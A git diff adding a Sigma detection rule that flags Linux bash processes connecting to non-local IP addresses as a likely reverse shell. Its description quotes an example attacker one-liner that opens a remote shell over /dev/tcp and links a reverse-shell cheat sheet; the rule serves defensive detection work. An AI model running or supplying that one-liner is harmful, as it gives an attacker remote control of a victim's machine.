diff --git a/rules/linux/process_creation/lnx_back_connect_shell_dev.yml b/rules/linux/process_creation/lnx_back_connect_shell_dev.yml
new file mode 100644
index 000000000..63a2ffd49
--- /dev/null
+++ b/rules/linux/process_creation/lnx_back_connect_shell_dev.yml
@@ -0,0 +1,23 @@
+title: Linux Reverse Shell Indicator
+id: 83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871
+status: experimental
+description: Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')
+references:
+   - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
+date: 2021/10/16
+author: Florian Roth
+logsource:
+   product: linux
+   category: network_connection
+detection:
+   selection:
+      Image|endswith: '/bin/bash'
+   filter:
+      DestinationIp: 
+         - '127.0.0.1'
+         - '0.0.0.0'
+   condition: selection and not filter
+falsepositives:
+   - Unknown
+level: critical
+